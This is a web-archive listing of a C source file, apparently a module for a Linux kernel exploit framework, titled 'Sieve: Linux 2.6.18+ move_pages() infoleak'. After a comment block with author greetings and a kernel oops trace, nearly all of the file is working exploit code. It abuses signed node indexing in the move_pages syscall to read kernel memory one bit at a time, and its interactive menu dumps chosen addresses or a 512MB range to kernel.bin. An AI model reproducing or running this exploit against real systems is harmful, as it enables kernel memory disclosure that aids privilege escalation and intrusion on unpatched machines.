home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / exp_sieve.c < prev    next >
C/C++ Source or Header  |  2010-02-08  |  9KB  |  324 lines

  1. /* sieve (because the Linux kernel leaks like one, get it?)
  2.    Bug NOT discovered by Marcus Meissner of SuSE security
  3.    This bug was discovered by Ramon de Carvalho Valle in September of 2009
  4.    The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS
  5.    for the bug (but had forgotten about it until now)
  6.    Ramon's report was sent to Novell's internal bugzilla, upon which 
  7.    some months later Marcus took credit for discovering someone else's bug
  8.    Maybe he thought he could get away with it ;)  Almost ;)
  9.  
  10.    greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle!
  11.  
  12.    first exploit of 2010, next one will be for a bugclass that has
  13.    afaik never been exploited on Linux before
  14.  
  15.    note that this bug can also cause a DoS like so:
  16.  
  17. Unable to handle kernel paging request at ffffffff833c3be8 RIP: 
  18.  [<ffffffff800dc8ac>] new_page_node+0x31/0x48
  19. PGD 203067 PUD 205063 PMD 0 
  20. Oops: 0000 [1] SMP 
  21. Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1
  22. RIP: 0010:[<ffffffff800dc8ac>]  [<ffffffff800dc8ac>] 
  23. new_page_node+0x31/0x48
  24. RSP: 0018:ffff8100a3c6de50  EFLAGS: 00010246
  25. RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013
  26. RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2
  27. RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c
  28. R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018
  29. R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28
  30. FS:  00002b8481125810(0000) GS:ffffffff803c0000(0000) 
  31. knlGS:0000000000000000
  32. CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
  33. CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0
  34. Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task 
  35. ffff81009d8c4080)
  36. Stack:  ffffffff800dd008 ffffc20000077000 ffffffff800dc87b 
  37. 0000000000000000
  38.  0000000000000000 0000000000000003 ffff810092c23800 0000000000000003
  39.  00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000
  40. Call Trace:
  41.  [<ffffffff800dd008>] migrate_pages+0x8d/0x42b
  42.  [<ffffffff800dc87b>] new_page_node+0x0/0x48
  43.  [<ffffffff8009cee2>] schedule_on_each_cpu+0xda/0xe8
  44.  [<ffffffff800dd8a2>] sys_move_pages+0x339/0x43d
  45.  [<ffffffff8005d28d>] tracesys+0xd5/0xe0
  46.  
  47.  
  48. Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff 
  49. RIP  [<ffffffff800dc8ac>] new_page_node+0x31/0x48
  50.  RSP <ffff8100a3c6de50>
  51. CR2: ffffffff833c3be8
  52. */
  53.  
  54. #include <stdio.h>
  55. #define _GNU_SOURCE
  56. #include <stdlib.h>
  57. #include <unistd.h>
  58. #include <string.h>
  59. #include <sys/syscall.h>
  60. #include <errno.h>
  61. #include "exp_framework.h"
  62.  
  63. #undef MPOL_MF_MOVE
  64. #define MPOL_MF_MOVE (1 << 1)
  65.  
  66. int max_numnodes;
  67.  
  68. unsigned long node_online_map;
  69.  
  70. unsigned long node_states;
  71.  
  72. unsigned long our_base;
  73. unsigned long totalhigh_pages;
  74.  
  75. #undef __NR_move_pages
  76. #ifdef __x86_64__
  77. #define __NR_move_pages 279
  78. #else
  79. #define __NR_move_pages 317
  80. #endif
  81.  
  82. /* random notes I took when writing this (all applying to the 64bit case):
  83.  
  84. checking in a bitmap based on node_states[2] or node_states[3] 
  85. (former if HIGHMEM is not present, latter if it is)
  86.  
  87. each node_state is of type nodemask_t, which is is a bitmap of size 
  88. MAX_NUMNODES/8
  89.  
  90. RHEL 5.4 has MAX_NUMNODES set to 64, which makes this 8 bytes in size
  91.  
  92. so the effective base we're working with is either node_states + 16 or 
  93. node_states + 24
  94.  
  95. on 2.6.18 it's based off node_online_map
  96.  
  97. node_isset does a test_bit based on this base
  98.  
  99. so our specfic case does: base[ourval / 8] & (1 << (ourval & 7))
  100.  
  101. all the calculations appear to be signed, so we can both index in the 
  102. negative and positive direction, based on ourval
  103.  
  104. on 64bit, this gives us a 256MB range above and below our base to grab 
  105. memory of 
  106. (by passing in a single page and a single node for each bit we want to 
  107. leak the value of, we can reconstruct entire bytes)
  108.  
  109. we can determine MAX_NUMNODES by looking up two adjacent numa bitmaps,
  110. subtracting their difference, and multiplying by 8
  111. but we don't need to do this
  112. */
  113.  
  114. struct exploit_state *exp_state;
  115.  
  116. char *desc = "Sieve: Linux 2.6.18+ move_pages() infoleak";
  117.  
  118. int get_exploit_state_ptr(struct exploit_state *ptr)
  119. {
  120.     exp_state = ptr;
  121.     return 0;
  122. }
  123.  
  124. int requires_null_page = 0;
  125.  
  126. void addr_to_nodes(unsigned long addr, int *nodes)
  127. {
  128.     int i;
  129.     int min = 0x80000000 / 8;
  130.     int max = 0x7fffffff / 8; 
  131.  
  132.     if ((addr < (our_base - min)) ||
  133.         (addr > (our_base + max))) {
  134.         fprintf(stdout, "Error: Unable to dump address %p\n", addr);
  135.         exit(1);
  136.     }
  137.  
  138.     for (i = 0; i < 8; i++) {
  139.         nodes[i] = ((int)(addr - our_base) << 3) | i;
  140.     }
  141.  
  142.     return;
  143. }
  144.  
  145. char *buf;
  146. unsigned char get_byte_at_addr(unsigned long addr)
  147. {
  148.     int nodes[8];
  149.     int node;
  150.     int status;
  151.     int i;
  152.     int ret;
  153.     unsigned char tmp = 0;
  154.  
  155.     addr_to_nodes(addr, (int *)&nodes);
  156.     for (i = 0; i < 8; i++) {
  157.         node = nodes[i];
  158.         ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
  159.         if (errno == ENOSYS) {
  160.             fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
  161.             exit(1);
  162.         } else if (errno != ENODEV)
  163.             tmp |= (1 << i);
  164.     }
  165.     
  166.     return tmp;
  167. }    
  168.  
  169. void menu(void)
  170. {
  171.     fprintf(stdout, "Enter your choice:\n"
  172.             " [0] Dump via symbol/address with length\n"
  173.             " [1] Dump entire range to file\n"
  174.             " [2] Quit\n");
  175. }
  176.  
  177. int trigger(void)
  178. {
  179.     unsigned long addr;
  180.     unsigned long addr2;
  181.     unsigned char thebyte;
  182.     unsigned char choice = 0;
  183.     char ibuf[1024];
  184.     char *p;
  185.     FILE *f;
  186.  
  187.     // get lingering \n
  188.     getchar();
  189.     while (choice != '2') {
  190.         menu();
  191.         fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
  192.         choice = ibuf[0];
  193.         
  194.         switch (choice) {
  195.         case '0':
  196.             fprintf(stdout, "Enter the symbol or address for the base:\n");
  197.             fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
  198.             p = strrchr((char *)&ibuf, '\n');
  199.             if (p)
  200.                 *p = '\0';
  201.             addr = exp_state->get_kernel_sym(ibuf);
  202.             if (addr == 0) {
  203.                 addr = strtoul(ibuf, NULL, 16);
  204.             }
  205.             if (addr == 0) {
  206.                 fprintf(stdout, "Invalid symbol or address.\n");
  207.                 break;
  208.             }
  209.             addr2 = 0;
  210.             while (addr2 == 0) {
  211.                 fprintf(stdout, "Enter the length of bytes to read in hex:\n");
  212.                 fscanf(stdin, "%x", &addr2);
  213.                 // get lingering \n
  214.                 getchar();
  215.             }
  216.             addr2 += addr;
  217.             
  218.             fprintf(stdout, "Leaked bytes:\n");
  219.             while (addr < addr2) {    
  220.                 thebyte = get_byte_at_addr(addr);
  221.                 printf("%02x ", thebyte);
  222.                 addr++;
  223.             }
  224.             printf("\n");
  225.             break;
  226.         case '1':
  227.             addr = our_base -  0x10000000;
  228. #ifdef __x86_64__
  229.             /* 
  230.                our lower bound will cause us to access
  231.                bad addresses and cause an oops
  232.             */
  233.             if (addr < 0xffffffff80000000)
  234.                 addr = 0xffffffff80000000;
  235. #else
  236.             if (addr < 0x80000000)
  237.                 addr = 0x80000000;
  238.             else if (addr < 0xc0000000)
  239.                 addr = 0xc0000000;
  240. #endif
  241.             addr2 = our_base + 0x10000000;
  242.             f = fopen("./kernel.bin", "w");
  243.             if (f == NULL) {
  244.                 fprintf(stdout, "Error: unable to open ./kernel.bin for writing\n");
  245.                 exit(1);
  246.             }
  247.  
  248.             fprintf(stdout, "Dumping to kernel.bin (this will take a while): ");
  249.             fflush(stdout);
  250.             while (addr < addr2) {
  251.                 thebyte = get_byte_at_addr(addr);
  252.                 fputc(thebyte, f);
  253.                 if (!(addr % (128 * 1024))) {
  254.                     fprintf(stdout, ".");
  255.                     fflush(stdout);
  256.                 }
  257.                 addr++;
  258.             }
  259.             fprintf(stdout, "done.\n");
  260.             fclose(f);
  261.             break;
  262.         case '2':
  263.             break;
  264.         }
  265.     }
  266.  
  267.     return 0;
  268. }
  269.  
  270.  
  271. int prepare(unsigned char *ptr)
  272. {
  273.     int node;
  274.     int found_gap = 0;
  275.     int i;
  276.     int ret;
  277.     int status;
  278.  
  279.     totalhigh_pages = exp_state->get_kernel_sym("totalhigh_pages");
  280.     node_states = exp_state->get_kernel_sym("node_states");
  281.     node_online_map = exp_state->get_kernel_sym("node_online_map");
  282.  
  283.     buf = malloc(4096);
  284.  
  285.     /* cheap hack, won't work on actual NUMA systems -- for those we could use the alternative noted
  286.        towards the beginning of the file, here we're just working until we leak the first bit of the adjacent table,
  287.        which will be set for our single node -- this gives us the size of the bitmap
  288.     */
  289.     for (i = 0; i < 512; i++) {
  290.         node = i;
  291.         ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
  292.         if (errno == ENOSYS) {
  293.             fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
  294.             exit(1);
  295.         } else if (errno == ENODEV) {
  296.             found_gap = 1;
  297.         } else if (found_gap == 1) {
  298.             max_numnodes = i;
  299.             fprintf(stdout, " [+] Detected MAX_NUMNODES as %d\n", max_numnodes);
  300.             break;
  301.         }
  302.     }
  303.  
  304.     if (node_online_map != 0)
  305.         our_base = node_online_map;
  306.     /* our base for this depends on the existence of HIGHMEM and the value of MAX_NUMNODES, since it determines the size
  307.        of each bitmap in the array our base is in the middle of
  308.        we've taken account for all this
  309.     */
  310.     else if (node_states != 0)
  311.         our_base = node_states + (totalhigh_pages ? (3 * (max_numnodes / 8)) : (2 * (max_numnodes / 8)));
  312.     else {
  313.         fprintf(stdout, "Error: kernel doesn't appear vulnerable.\n");
  314.         exit(1);
  315.     }
  316.  
  317.     return 0;
  318. }
  319.  
  320. int post(void)
  321. {
  322.     return 0;
  323. }
  324.